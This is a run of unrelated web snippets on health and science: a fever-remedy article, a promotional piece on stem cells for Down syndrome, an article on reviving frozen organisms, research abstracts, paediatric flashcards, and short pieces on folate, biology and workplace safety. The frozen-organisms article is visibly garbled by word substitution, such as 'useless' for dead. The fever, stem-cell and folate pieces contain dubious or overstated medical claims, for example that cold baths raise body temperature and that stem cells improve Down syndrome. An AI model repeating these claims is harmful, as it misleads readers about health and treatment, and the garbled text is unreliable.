leptin/adiponectin (r=0.334, P<0.03). In the in vitro studies, insulin secretion was decreased in an eHSP72 dose-dependent manner in BRIN-BD11 cells (from 257.7±33 to 84.1±10.2 μg/mg of protein per 24 h with 40 ng/ml eHSP72), and in islets in the presence of 40 ng/ml eHSP72 (from 0.48±0.07 to 0.33±0.009 μg/20 islets per 24 h). Similarly, eHSP72 reduced β-cell viability (at least 30% for BRIN-BD11 and 10% for 1.1B4 cells). Bioenergetic studies revealed that eHSP72 altered pancreatic β-cell metabolism. OxPAPC restored insulin secretion in islets incubated with 40 ng/ml eHSP72. In conclusion, we have demonstrated a positive correlation between eHSP72 and IR. In addition, we suggest that chronic eHSP72 exposure may mediate β-cell failure.
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Fever describes a condition in which the body’s temperature is higher than normal. It’s a symptom of many types of illnesses and is usually a response to infection or inflammation. Fever can also be caused by exposure to heat, poisons, certain drugs, or injuries to the brain. While it’s usually treated with medication, there are a handful of natural alternatives. Here are some natural fever relievers.
Fluids
Dehydration is often a result of fever, making the sick individual feel worse. The best way to counter this is to drink plenty of fluids. Make sure you drink enough to make your urine appear pale in color.
Note that while water is best, sports drinks (like Gatorade) and rehydration solutions (like Pedialyte) can help replace minerals and electrolytes lost to dehydration. Even grapes can serve as a source of hydration. Orange juice is also a great choice, due to its high vitamin C content. Note that vitamin C helps the immune system fight infection.
Calcium
Part of the reason you may feel achy with a fever is due to a process that removes calcium from your bones. This process allows the body to draw calcium from the bones for the purpose of fighting infection. Supplementation can help provide the needed calcium, reducing the need for drawing it from within the body.
A number of experts believe calcium can actually reduce the duration of an illness by increasing the effectiveness of the accompanying fever. One study involving dengue fever patients showed that supplementing with calcium and vitamin D (to assist in calcium absorption) helped reduce both the symptoms and duration of the illness.
Warm Bath
A warm bath is one of the best natural fever relievers, since it can directly impact your internal temperature. Note that the water will feel cool, because of the fever. Use a sponge to rise off delicate areas like the armpits and groin, since this can help you cool down more quickly. Avoid taking a cold bath, since this can increase blood flow to the organs, which will raise your temperature further.
Sleep
As difficult as it might be to get enough sleep sometimes, it’s one of the best ways to get over an illness more quickly. Rest makes it possible for your body to heal itself through natural processes. While your body is resting, it is producing more white blood cells to assist in the fight against infection. If you’re having trouble sleeping due to the illness, try taking a warm bath first, as described above.
Cold Compress
A cold compress is another effective way to reduce fever naturally. Apply a cool, wet cloth to the forehead or back of the neck for optimal effect. The base of the neck is where the hypothalamus is located, making it an ideal location on which to place the compress.
Note that while a hot compress is effective for relieving pain, it should not be used for a fever. The purpose of using a cold one is that as the water evaporates from the skin, it draws out the heat, reducing the body’s temperature. Once the cloth gets warm, remove it, soak it in some more cool water, wring it out and use it again.
Apple Cider Vinegar
Apple cider vinegar has been a popular fever remedy among grandmothers for generations. One way to use it is to soak a washcloth in diluted vinegar and place it on the forehead or abdomen. You can also wrap the cloth around the soles of your feet. The purpose of using the cloth is to provide a path along which the heat can be drawn out. Note that it can also be added to a warm bath or mixed into a glass of water with honey for direct consumption.
Keep in mind that fevers are a vital part of your body’s natural defense system. By raising your temperature, the body triggers your immune system and speeds up the detoxification process. While fevers might be unpleasant, they’re one of the best indications that your immune system is working the way it’s supposed to.
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Source: World VisionCountry: Democratic Republic of the Congo, Ethiopia, Kenya, Rwanda, Somalia, South Sudan, Sudan, Uganda, United Republic of TanzaniaKey messages• Humanitarian needs: At least 28 million people (more than half of them children) are in need of humanitarian assistance. Conflict, disease, acute food shortages, high inflation, and inadequate nutrition have left children and their families extremely vulnerable.• Conflict a major driver of forced displacements: Conflict continues to be a major factor driving people out of their homes. As the Democratic Republic of Congo prepares for elections in December, neighbouring countries such as Burundi and Uganda are on high alert for an influx of refugees. This therefore means that the number of people requiring humanitarian assistance will likely increase.• Food insecurity: At least 20 million are struggling to meet their daily food and nutrition needs
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FREQUENTLY ASKED QUESTIONS
How can I argue the importance of a Research Problem (PI)? In general, the importance of a PI is determined by the impact it has on health care. You must do it in the most objective way possible, based on documents that will be part of the bibliography. Some types of documents that may be of interest:
Epidemiological or statistical reports (particularly the reports of health institutions or the hospital itself). Reports made by scientific societies (consult their web pages). Health plans of the health authorities, both at the national and regional level (review institutional platforms, as there are numerous reports on health problems that they consider to be priorities).
How do I know that the Project is relevant? It is determined based on its adaptation to the priorities of the organization and the potential impact it has on both the citizen and the professionals. The project is expected to improve some health outcomes or quality of life in defined population groups, which, due to susceptibility or frequency of the problem, are especially vulnerable to it. It also provides alternatives to problems in the organization and the provision of health services, with an innovative and evaluable perspective in terms of cost-effectiveness. And also that it has a positive influence on the models of professional practice.
What databases can I use to perform the bibliographic search? Search specialized databases in the field of health. If you search in CUIDEN and in CINHAL, you will access 80% of the knowledge available in Nursing. In PUBMED, IBECS and in MEDES you can find works from other disciplines besides Nursing. In COCHRANE you can find systematic reviews (a good luck if you find one that is very related to your topic). Through DOAJ, SCIELO, CANTARIDA, DIALNET and GOOGLE SCHOLAR you can find the full text of the articles. More information SEE
Use selection criteria to limit searches, such as: subject area, type of study, type of documents (original articles, clinical cases, reviews, monographs, etc.), time limitation (scientific knowledge is considered to tend to renew for periods of 7 years, keep it in mind), language, etc.
What does CRITICAL ANALYSIS mean? It means that what you are going to obtain from the documents that you select will be presented, because of the interest you have to better understand the topic you are going to discuss. Therefore you should only review those data that serve to enrich your work, but not the rest.
How do I know which are the best documents? Learn to distinguish the main authors of other occasional authors. Locate the expert authors looking at the most cited among the bibliography that you locate. Often the best articles are published in the journals with the greatest impact, see the list of most cited journals in the JCR-SCI, SCOPUS or CUIDEN CITACION catalogs (https://ndr2014.org).
What if I do not find enough articles about what I’m looking for? One of two, or the search you have done is defective (most likely), in which case you have to continue trying with new strategies, or there is a knowledge gap on the subject. If so, describe it when you describe the background.
But do not settle, there may not be much about the specific problem that you will study, but there will be about the general theme in which it is located.
How can I identify the theoretical framework? What you are going to do with the theoretical framework is to clarify the theoretical perspective of the parties when raising your work. The ideal is to do it in two parts:
a) Anticipate the result you hope to achieve. What is your conviction? Do it by establishing a theoretical relationship between a cause and an effect, for example:
This work is based on the conviction that the limited recognition of family care is socially determined by the moral obligation of women as caregivers.
b) Complete the theoretical perspective with the support of higher-level theories that expand the understanding of the phenomenon of study (nursery theories, socio-cultural theories, etc. In the previous case, gender theories would be a good option).
What style should I use in the drafting of the IP? Use the 3C strategy: clarity, conciseness and correction.
Clarity means that the reading of the text will be pleasant, avoiding unnecessary technicalities. Fleeing the farfetched language (it is about impressing with content, not with verbiage). Concision responds to the saying “good if brief, twice good”. Limit yourself to the ideas that are strictly necessary, avoiding overwhelming the reader with additional content that only contribute to sow confusion. Correction means that what is written should follow what is expected in a well-constructed text from the syntactic and orthographic point of view. Everything you present during the tutorial period is of a provisional nature, but try to do it right from the beginning and you will gain time (for example, if you write down the bibliography properly from the beginning, you will avoid mistakes). Always write neatly, avoid typographical errors and spelling mistakes accompany you throughout the process or you will get used to them. How do I avoid typos in the text? Errata have a vital effect on TFGs, so we are going to make an effort to combat them with energy: If you miss an errata, you will probably find it in the final version of the document. Therefore you have to get used to writing correctly composed texts from the start. Neatness refers to the composition of the text, which must be free of typographical and typographical errors. Automatic scripts and epigraphs are often a source of mismatches in the text, so it is advisable to rationalize their use. We recommend that you learn to do them manually. Never lose control of the text. Expecial emphasis on bibliographic notation, learn soon to reference the bibliography properly, it is a major source of errors. Bibliographic managers can help, but also contribute to hinder learning. Before sending the text, even if it is only preliminary, you should review it in a thorough manner. It is not enough to trust the automatic corrector of the text, you have to review it again and again until everything is OK.
Can I work with texts from other authors without incurring problems of plagiarism or piracy? Yes, but keep in mind a sacred rule: never use the COPIO-PEGO system or in the end you will not know what is yours and what is not. The right thing to do: read several times until you become familiar with the text you have selected, write down in a separate file the main ideas with your own words and identify the bibliographic reference of where you have taken them.
If you decide to enter the literal text of someone, try to indicate it in quotes, always identifying the author. You should not include literal paragraphs greater than ten lines, to avoid conflicts over copyright.
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Publication Overview
Increasing competition for resources across the globe reveals the finite nature of the resources that fuel our societies. The study of peak resource consumption originated with the concept of “peak oil,” the idea that oil production will reach an upper limit and then decline. Applied to water resources, the concept of “peak water” illustrates the tension between the human need for water and the ecological limits of using that water. Understanding the links between human demands for water and peak water constraints can help water managers and planners move towards more sustainable water management and use.
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Psychoactive substance consumption in recreational settings among university students in ColombiaAcademic Article
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Overview
abstract
The consumption of psychoactive substances (PAS) is a public health problem in Colombia and worldwide. The people who consume such substances are becoming younger, and their effects are potentially harmful and may affect all areas of adjustment of the individual. Although it has been conceived that way, the use of PAS is not always associated with personal problems or high degrees of stress. There may be other motivations associated. Objective: The objectives of this article are to present: (a) the relative frequency of consumption of PAS among college students, (b) which are the PAS consumed most by college students and differences in their consumption by sex and by age, (3) the relationship between the consumption of PAS and contexts of diversion. Materials and methods: This is a descriptive correlational study derived from an Italian research project, in which the sample were 226 college students from four undergraduate programs of a private university in Bogotá DC, selected using a stratified random sampling procedure with proportional allocation. Participants filled out a questionnaire. Results: The PAS with the highest consumption were alcohol, nicotine and marijuana. Males predominantly showed an increased consumption. The results are consistent with the national trend. Conclusion: The consumption of SPA among college students is high and some recreational contexts are closely associated with this behaviour.
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Without a doubt, stem cells are one of the biggest medical breakthroughs in the case of studying and treating various diseases. Because of them, researchers can better understand how disease develops and can create effective treatment options without testing it on an actual patient. It is because of these benefits that stem cell therapy, also known as regenerative medicine, is considered one of the most promising advancements in medicine for disease treatment.
Though stem cell therapy is still a relatively new developing medicine, studies and research are leading researchers to believe that stem cell therapy will be a humongous medical development that will benefit various patients dealing with a large number of diseases, injuries, and other ailments. While the most common stem cell treatment options are for various types of cancers, heart disease, and injuries, one approach has been less discussed. Here we’ll explore how stem cell therapy can treat Down Syndrome.
Down Syndrome Development
Down Syndrome occurs when a person is born with an extra copy of the 21st chromosome. This changes how the body and brain develops, according to the U.S. Centers for Disease Control and Prevention. In addition, the CDC also states that Down Syndrome continues to be the most common chromosomal disorder, with about 6,000 babies being born with Down Syndrome each year. Or in other words, 1 in very 700 babies born. Between 1979 and 2003, the number of babies born with Down Syndrome increased by 30%. It also seems the prevalence of Down Syndrome increases as the mother of the baby’s age increases.
Stem Cell Therapy for Down Syndrome
Though stem cell therapy treating Down Syndrome is still very early in development, there have been studies done that prove stem cell therapy could be an effective treatment. Data collected showed that over 300 Down Syndrome patients had been treated with neural stem cell therapy in some studies. The ages of the patients ranged from 8 months to 8 years. After these treatments, it was reported that the patients showed varied levels of improvement in intellectual development, speech, muscle strength, reaction velocity, and gait.
This year, doctors in New Delhi, India, treated a baby with Down Syndrome with stem cells. Geeta Shroff, a stem cell expert, noted that after the treatment, there were parts of the baby’s body that started improving, such as muscle tone and some movement. It was also noted the baby showed improvement mentally and physically in a relatively short period of time. This, according to Shroff, happened after three months of the treatment. Some examples of the improvements that developed in the baby after stem cell therapy included better muscle tone in all limbs, heightened babbling and crawling, and also recognizing those near him after the first session of stem cell therapy. Though this was only one case with stem cell therapy and Down Syndrome, researchers are hopeful this can be the beginning of a major breakthrough.
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It is also believed that with Down Syndrome, stem cell therapy can be effective in terms of targeting a specific gene before birth that could lead to a target treatment. This treatment would consist of reversing abnormal embryonic brain development and working to improve cognitive function after birth. This belief came about with a Rutgers-led study done using skin cells from a patient with Down Syndrome and manipulating them into human-induced pluripotent stem cells. These stem cells contained the extra copy of the 21st chromosome that leads to the development of Down Syndrome, and allowed scientists to further understand development of Down Syndrome, along with which gene to target for treatment. This would be the human chromosome 21 gene OLIG2. By using the induced pluripotent stem cells, scientists were able to create a brain model that mirrored the patients, and this provided for a great research point.
The Future with Down Syndrome and Stem Cell Treatments
As stem cell therapy is still relatively in development, there are still long strides to go before the treatments are deemed perfect for larger treatment. Stem cell therapies in general are still slowly being approved, and there is still plenty of research that needs to be conducted. One example would be Japan’s recent approval of stem cell therapies for the spinal cord. This approval was based largely on a study in which patients which were injected with stem cells extracted from their own bone marrow. The team leading this study found that the patients regained some movement and sensation. However, the approval for this stem cell therapy is garnering some concern due to lack of research and insufficient trials. Studies like the Rutgers-led study have proven that stem cells can be used to develop a greater understanding of Down Syndrome and targeting the specific gene for proper treatment.
The future of Down Syndrome and stem cell therapy still has a long road ahead. However, recent studies and research have shown that stem cell therapy may lead to a successful treatment of Down Syndrome. There is still plenty of trials and studies that must be conducted, but hopefully in time, further research and results can reassure scientists that stem cell therapy will be a healthy and safe treatment for Down Syndrome. If stem cell therapy proves to be successful and safe, his will no doubt be a medical breakthrough that will enrich the lives of many patients with Down Syndrome and lead to more successful treatment of this condition for future generations.
Learn More About Stem Cell Therapy Download our FREE Stem Cell Report
Click below to download our free educational report, Stem Cell 101!
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In recent times, researchers have reawakened life in frozen organisms within the Arctic permafrost, bringing them again to life. These research are actually difficult accepted concepts as to the resilience of lifeforms, indicating the way forward for the atmosphere after world warming , and even the possibilities of life on different planets. They’ve revived moss and even worms that had been assumed useless in glaciers and within the frozen earth however are actually usually being revealed by thawing glaciers.
Moss Revival After 150 Years
In 2009, Catherine Le Farge, an evolutionary biologist, and her colleagues have been working on the fringe of a large glacier often known as the Teardrop, in Northern Canada. She got here throughout quite a few specimens of moss “of the species Aulacomnium turgidum lastly free from its icy entombment,” based on Stuff. There have been some inexperienced tints on the plant, although it had been frozen in ice because the mid-19th century.
This materials was presumed to be useless however the verdant hues on the moss indicated to Le Farge that this was one thing value investigating. She determined to convey the samples again to her College in Edmonton and positioned them in nutrient-rich soil in a brilliant and heat atmosphere. After a time frame, quite a few the mosses got here into leaf, regardless of being ‘useless’ for over a century. Le Farge is quoted by Stuff as stating that “We have been fairly blown away.”
The moss had desiccated within the excessive chilly and this meant that it didn’t turn into frozen strong. Usually, ice can kind within the tissues of dwelling and useless organisms and which means it “can shred cell membranes and different important organic equipment” based on Stuff. This distinctive organic attribute of moss meant that it may very well be revived.
Frozen lifeforms, such because the moss, have been efficiently revived. (angelacina1 / Public Area ) Frozen Worms Woke up
Following on from the work of Le Farge and her colleagues, different scientists have begun to revive frozen organisms. Peter Convey and his staff from the British Antarctic Survey have “woke up a 1500-year-old moss buried greater than three ft underground within the Antarctic permafrost,” based on Annith. It seems that the frozen ice can protect the mosses from environmental harm and the radiation that may result in the break-down of their DNA and protect the vegetation.
Researchers have been capable of renew and convey to life micro organism and complicated a number of cell organisms which were entombed in glaciers . Some of the thrilling situations of that is the work of Tatiana Vishnivetskaya, from the College of Tennessee, on nematodes (roundworms), which might be hundreds of years outdated and have been discovered within the Tundra of Siberia.
She introduced an ‘unintended discovery’ when she was working with the organisms in Petrie dishes says
Stuff . The scientist noticed the worms reawakening , although they’d been frozen for hundreds of years. Her work has proven that it’s not solely a easy organism that may survive within the brutal atmosphere of extraordinarily low temperatures. Researchers have revived frozen lifeforms from the Arctic, akin to worms. (John Donges / CC BY-SA 2.0 )
The latest analysis has proven that desolate areas just like the Arctic usually are not simply useless zones. As an alternative, it seems that “glaciers and permafrost usually are not merely graveyards for multicellular life” based on Stuff. Additionally it is displaying {that a} choose few species have nice resilience.
It additionally seems that some organisms can await a extra favorable atmosphere as a part of their survival technique. They’re able to keep actually frozen in time or turn into ‘ zombies’ till situations imply that they are often revived.
What Does This Say About Life on Different Planets?
Some imagine that the power of organisms to outlive within the excessive chilly can have repercussions for the opportunity of life on different planets . If lifeforms can survive in a glacier may they not additionally survive in apparently desolate and uninhabitable worlds ? The resilience of sure organisms might make it extra possible that life might exist elsewhere within the universe.
Northern polar ice cap on Mars. Does the ice maintain frozen lifeforms? (Fabio Bettani / Public Area )
The invention that some organisms can survive within the excessive chilly may also help us perceive how areas, which are actually frozen, might take care of world warming. Because the glaciers and permafrost thaws and retreats, it signifies that one thing that may survive within the ice can re-colonize the atmosphere. For instance, mosses can flourish as soon as once more and put together the best way for different vegetation and even animals to colonize previously frozen lands.
The research by Le Farge, Covney, and others are demonstrating that historical life will be renewed and the resilience of some types of organic life . That is very optimistic given the rising considerations over the atmosphere. The analysis might give hope that life will have the ability to survive even the upcoming environmental disasters predicted by many scientists and environmentalists.
BAS, the staff learning the frozen lifeforms, analysis stations within the British Antarctic Territory. (Ravenpuff / CC BY-SA 3.0 ) Prime picture: Ellesmere Island Canada the place researchers are reviving frozen lifeforms. Supply: James / Adobe Inventory.
By Ed Whelan
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Flashcards in Paediatric Behavioral and Psych Disorders Deck (9):
1
What are some clinical features on history that parents often identify that may indicate that their child has autism? Parents often identify that something is different about their child before the second birthday. Early features include lack of pretend play,pointing out object to another person, and social interest and social play
2
What is the difference between aspergers syndrome and autism? Asperger's syndrome is used to describe individuals with normal intelligence no obvious delay in language development but impaired social and communication skills with an ego egocentric approach to others. They often exhibit a range of obsessional interests, and some social immaturity
3
How might we manage functional constipation in a child? • Behavioural modifications- positioning on toilet, toileting after meals • Positive reinforcement of toileting behaviour • Increasing dietary intake and ensure adequate hydration • Oral osmotic laxatives are first line like Movicol. Use daily longterm if needed. In infants use coloxyl drops • If inpatient, can use NGT with macrogol (glycoprep) which is the same thing as movicol; if severe disimpaction may be considered Arrange follow up in continence/encopresis clinic or general medical clinic for difficult cases
4
define the clinical features of ADHD? (DSM 5) inattention, hyperactivity, impulsivity that has persisted > 6 months to a degree that is maladaptive and inconsistent with developmental level. onset can be NO LATER than 7 yrs of age disturbances cause significant distress and social/functional/occupational impairment not better explained by other medical/mental illness
5
how might we examine/ix a child with ADHD? Neurodevelopment assessment: fine and gross motor coordination, visual‐motor integration, auditory and visual sequencing. • School reports. • Psychoeducational assessment: An educational psychologist performs a formal assessment to identify their learning strengths and weaknesses. • Audiology including auditory processing assessment is often helpful.
6
describe the stepwise management of ADHD? 1. behavioural modification with positive reinforcement 2. educational support strategies 3. medical management with dexamphetamine/clonidine/atomoxetine
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what are some management advice you can give to the parent of a 'fussy eater'? Showing independence is an important part of toddler development – choosing and refusing food is an expression of independence. • Serve small portions – lower expectations. • Change the way food is presented. • Include limited healthy options and allow the child to choose among the options. • Include some healthy food choices that they like. Offering cereal at lunch is okay! A lack of variety is not a major worry at this age. • Avoid filling up on milk and juice. Large volumes of milk (> 600 mL a day) can make the child feel full. Juice is not necessary in the child’s diet. • Give the child time to enjoy the meal without comment. Remove the food after 30 minutes or if they dawdle or lose interest.
8
define primary and secondary enuresis? primary enuresis- continuously wet for at least 6 months secondary enuresis- child was previously dry for at least 6 months and has now relapsed
9
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Evaluating your likely current (and near future) state of health means taking into account the risk factors — such as diabetes in relatives — that affect you.
Our medical diagnosis tool, The Analyst™, identifies major risk factors by asking the right questions.
Diabetes in
either distant or close relatives?
Possible responses:→ None / don't know
→ Yes, in a distant relative
→ Yes, in 1 direct or 2 distant relatives
→ Yes, in 2 direct relatives
→ Yes, in more than 2 direct relatives
If you have a family history of high blood pressure, heart or kidney disease,
diabetes or stroke, you should have your blood pressure tested annually.
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Abstract and Introduction Abstract Objective High sodium (HS) diet is associated with hypertension (HT) and insulin resistance (IR). We evaluated whether HS diet was associated with a dysregulation of cortisol production and metabolic syndrome (MetS). Patients and measurements We recruited 370 adults (18–85 years, BMI 29·3 ± 4·4 kg/m 2, 70% women, 72% HT, 61% MetS). HS diet (urinary sodium >150 mEq/day) was observed in 70% of subjects. We measured plasma hormones, lipid profile, urinary free cortisol (UFC) and cortisol tetrahydrometabolites (THM). Results Urinary sodium was correlated with UFC ( r = +0·45, P < 0·001), cortisol THM ( r = +0·41, P < 0·001) and inversely with adiponectin, HDL and aldosterone, after adjusting by age, gender and BMI. Subjects with high, compared with adequate sodium intake (50–149 mEq/day) had higher UFC ( P < 0·001), THM ( P < 0·001), HOMA-IR ( P = 0·04), HT (81% vs 50%, P < 0·001), MetS (69% vs 41%, P < 0·001) and lower adiponectin ( P = 0·003). A multivariate predictive model adjusted by confounders showed a high discriminative capacity for MetS (ROC curve 0·878) using four clinical variables: HS intake [OR = 5·6 (CI 2·3–15·3)], HOMA-IR [OR 1·7 (1·3–2·2)] cortisol THM [OR 1·2 (1·1–1·4)] and adiponectin [OR = 0·9 (0·8–0·9)], the latter had a protective effect. Conclusions High sodium diet was associated with increased urinary cortisol and its metabolites. Also, HS diet was associated with HT, insulin resistance, dyslipidaemia and hypoadiponectinaemia, even when adjusting by confounding variables. Further, we observed that high salt intake, IR and higher cortisol metabolites, alone or combined in a clinical simple model, accurately predicted MetS status, suggesting an additive mechanism in obesity-related metabolic disorders. Introduction
Central obesity, hypertension, derangement of glucose and lipid metabolism are hallmarks of the metabolic syndrome (MetS), which is highly prevalent worldwide.
[1] The mechanisms leading to MetS are not fully understood, but several complementary hypotheses have been proposed including insulin resistance (IR), adipose tissue dysregulation, inadequate aldosterone suppression and increased cortisol production. [2,3]
Populations with liberal salt intake have higher incidences of HT and cardiovascular events, and its related health outcomes are associated with high medical costs.
[4] Moreover, high sodium intake has been reported to be an important clinical factor implicated in salt sensitivity in MetS. [5] There is also a reported relationship between increased sodium intake and insulin resistance (IR) and type 2 diabetes mellitus (T2DM). [6] Numerous mechanisms have been postulated to explain why liberal sodium intake contributes to metabolic disorders, with special emphasis in inadequate aldosterone suppression and increased mineralocorticoid receptor (MR) activation by factors other than aldosterone. [7,8]
We and others have shown that obesity and MetS, when correctly excluding subclinical Cushing's syndrome, are associated with increased levels of urinary glucocorticoid (GC) metabolites, but normal plasma values.
[3,9,10] Moreover, GC metabolites levels are correlated with HT, IR and dyslipidaemia, resembling metabolic abnormalities observed with liberal salt intake. [3] Although the relationship between high sodium diet and GC production has been less studied than aldosterone, it has been described that high sodium diet increases local GC production in a rodent model and that salt loading increases urinary cortisol and sodium restriction decreases cortisol excretion in human studies. [11,12,13]
The aim of the present study was to evaluate a possible dysregulation of cortisol production secondary to liberal sodium intake that could have an essential role in MetS and obesity-related metabolic disorders.
Clin Endocrinol. 2014;80(5):677-684. © 2014 Blackwell Publishing
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We attempt to review the safety assessment of personal care products (PCP) and ingredients that are representative and pose complex safety issues. PCP are generally applied to human skin and mainly produce local exposure, although skin penetration or use in the oral cavity, on the face, lips, eyes and mucosa may also produce human systemic exposure. In the EU, US and Japan, the safety of PCP is regulated under cosmetic and/or drug regulations. Oxidative hair dyes contain arylamines, the most chemically reactive ingredients of PCP. Although arylamines have an allergic potential, taking into account the high number of consumers exposed, the incidence and prevalence of hair dye allergy appears to be low and stable. A recent (2001) epidemiology study suggested an association of oxidative hair dye use and increased bladder cancer risk in consumers, although this was not confirmed by subsequent or previous epidemiologic investigations. The results of genetic toxicity, carcinogenicity and reproductive toxicity studies suggest that modern hair dyes and their ingredients pose no genotoxic, carcinogenic or reproductive risk. Recent reports suggest that arylamines contained in oxidative hair dyes are N-acetylated in human or mammalian skin resulting in systemic exposure to traces of detoxified, i.e. non-genotoxic, metabolites, whereas human hepatocytes were unable to transform hair dye arylamines to potentially carcinogenic metabolites. An expert panel of the International Agency on Research of Cancer (IARC) concluded that there is no evidence for a causal association of hair dye exposure with an elevated cancer risk in consumers. Ultraviolet filters have important benefits by protecting the consumer against adverse effects of UV radiation; these substances undergo a stringent safety evaluation under current international regulations prior to their marketing. Concerns were also raised about the safety of solid nanoparticles in PCP, mainly TiO(2) and ZnO in sunscreens. However, current evidence suggests that these particles are non-toxic, do not penetrate into or through normal or compromised human skin and, therefore, pose no risk to human health. The increasing use of natural plant ingredients in personal care products raised new safety issues that require novel approaches to their safety evaluation similar to those of plant-derived food ingredients. For example, the Threshold of Toxicological Concern (TTC) is a promising tool to assess the safety of substances present at trace levels as well as minor ingredients of plant-derived substances. The potential human systemic exposure to PCP ingredients is increasingly estimated on the basis of in vitro skin penetration data. However, new evidence suggests that the in vitro test may overestimate human systemic exposure to PCP ingredients due to the absence of metabolism in cadaver skin or misclassification of skin residues that, in vivo, remain in the stratum corneum or hair follicle openings, i.e. outside the living skin. Overall, today's safety assessment of PCP and their ingredients is not only based on science, but also on their respective regulatory status as well as other issues, such as the ethics of animal testing. Nevertheless, the record shows that today's PCP are safe and offer multiple benefits to quality of life and health of the consumer. In the interest of all stakeholders, consumers, regulatory bodies and producers, there is an urgent need for an international harmonization on the status and safety requirements of these products and their ingredients.
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MECHANISMS FOR EVOLUTION. Honors Biology. REVIEW. Evidence for Evolution and Examples What is Natural Selection? How did Darwin develop theory of Natural Selection?. PATTERNS OF EVOLUTION. Coevolution: 2 or more species evolve in association with one another
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MECHANISMS FOR EVOLUTION Honors Biology REVIEW • Evidence for Evolution and Examples • What is Natural Selection? • How did Darwin develop theory of Natural Selection? PATTERNS OF EVOLUTION • Coevolution: • 2 or more species evolve in association with one another • Predators and Prey • Plants and Pollinators • Bats and Flowers PATTERNS OF EVOLUTION • Convergent Evolution: • Organisms that look similar but are not related • Analogous features • Similar environments • Sharks and Dolphins PATTERNS OF EVOLUTION • Divergent Evolution • 2 or more related populations or species become more and more dissimilar • Usually a response to new habitat • Can result in new species • Adaptive radiation • Artificial Breeding • Humans and Chimps POPULATION GENETICS AND EVOLUTION • What did Darwin know? • Environment is important • Competition for Resources • Natural Selection: Individuals with traits more suitable for a particular environment are more likely to survive AND reproduce • What did Darwin not know? • Where does variation come from POPULATION GENETICS • We now know that variation comes from genetics; no variation extinction • Population genetics: study of evolution from genetic point of view WHAT CAUSES VARIATION • Need to think about variation in GENOTYPE • Mutation: change in DNA/chromosomes • Recombination: during meiosis • Random fusion of gametes OTHER MECHANISMS FOR EVOLUTION • Things that upset genetic equilibrium • Using Hardy Weinberg you can predict genotypes; Only in hypothetical populations MUTATION • Change in DNA or chromosomes • Make new alleles for a trait • Many are harmful • Can be neutral (code for same amino acid) • Some are beneficial MIGRATION/GENE FLOW • Call it gene flow • Populations exchange genes • Increases within group variation • Decreases between group variation • DOESN’T HAVE TO BE MIGRATION GENETIC DRIFT • Occurs in small populations • Allele frequencies shift as a result of RANDOM events • Coin Toss • Founders Effect; Bottleneck NONRANDOM MATING • Sexual Selection • Positive assortative mating – mate with someone similar • Negative assortative mating: redheads! NATURAL SELECTION • Darwin and neoDarwinians believe is the most important way evolution occurs • Types of Selection STABILIZING SELECTION • Average form are selected for • Lizards: • Predators caught slow small and large visible • Select for medium size DIRECTIONAL SELECTION • Individuals with an extreme trait are selected for • Anteaters with long tongues DISRUPTIVE SELECTION • Individuals with either extreme are selected for • Limpet shell color; light and dark on different surfaces SEXUAL SELECTION • Choosing mates based on traits • Intersexual Selection • Intrasexual Selection • Bird Color SPECIATION • If enough changes accumulate new species • Biological concept of species: organisms can mate and produce fertile offspring; not just morphological (what they look like) • Isolating mechanisms speciation • Geographic isolation • Reproductive isolation SPECIATION • Rates of speciation • Gradualism: species evolve gradually over time • Punctuated equilibrium: species go through times of fast change and slow or no change
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Folate, folic acid and folacin are the terms for the vitamin B-complex that is known for its vital role in pregnancy. This drug is important to avoid pregnancy defects such as malformation of the neural tube. Spinal problem and serious brain damage could be a result of a malformed neural tube. This vitamin has three components namely:
PABA Glutamic acid Pteridine
Before taking folate, patients should approach a physician so that the tolerable upper intake level of folate will be determined properly. Folate intake should not exceed the recommended dosage. Studies have shown that folate intake of doses greater than 1,000-2,000 µg could cause folate toxicity.Excessive intake of folic acid has no known health benefits.
Folate Poisoning Symptoms
Folate toxicity is not common since folic acid is soluble in water it could be easily excreted through urination. Over dose of folic acid will give the person mostly the same symptoms that could be experienced by the person having an insufficiency of it. Several symptoms of folate toxicity include:
Nervous system disorders Gastrointestinal problems such as diarrhea Abdominal problems Irritability Sleep problems such as insomnia. Fatigue Malaise Skin reactions Seizures Reduce effectiveness of anticancer drug (methotrexate), anticonvulsant drugs, barbiturates, estrogen, zinc, sulfasalazine, antimalarial treatments Affects the absorption of vitamin B12
It would be best to prevent folate side effects because the sign and symptoms that could be caused by it would require medications that may be harmful to the pregnant mother and the fetus.Avoid excessive intake of folic acid by knowing the daily intake required. It will also be best to approach a physician or an ob-gyne before taking folate supplements. Some physicians would also suggest that instead of taking in supplements, patients should just go for folate rich foods such as beans, bananas, soy, peanuts, oranges, fish, turkey, beef, crabs, eggs, etc.
Treatment for Folate Toxicity
Treatment for side effects of folate toxicity will depend on what the symptom the person has. For example:
If the person is suffering insomnia due to folic toxicity then the person will be given medication that will allow him or her to sleep better. If the person has diarrhea then he will take a medication for diarrhea. In case of folic acid poisoning, one must immediately approach a doctor so that the symptoms could be treated in a way that the baby and the pregnant mother would not be harmed by the medication or drug.
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| 0.923636
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Improve Safety Performance Using Exemplary Human Performance System
The choices people make affect the safety of employees, customers and the public. If utility employees choose to be safe and competent, they will accomplish their work with zero injuries and safety incidents.
By Carl English and Doug Mead
The choices people make affect the safety of employees, customers and the public. If utility employees choose to be safe and competent, they will accomplish their work with zero injuries and safety incidents. Achieving exemplary safety performance takes more than a goal or a well-formulated strategy with good implementation processes. It comes down to whether utility executives and their teams choose to perform their respective safety leadership responsibilities to predetermined performance standards. The most critical responsibilities and skill set involved to ensure safety are accurate safety reporting data and identifying which responsibilities are most important for each role involved.
Safety Best Practices Background
Safety needs to be a priority for everyone to achieve any safety goal. It's the most important goal of each workday-to return home safely to family and friends each night. While safety is often our main concern, safety performance hasn't always kept pace throughout the utility industry. Exemplary performing organizations have identified a need to focus on safety fundamentals. This has helped exemplary performing organizations reclaim their tradition as the safest organizations in the nation.
Safety Responsibilities
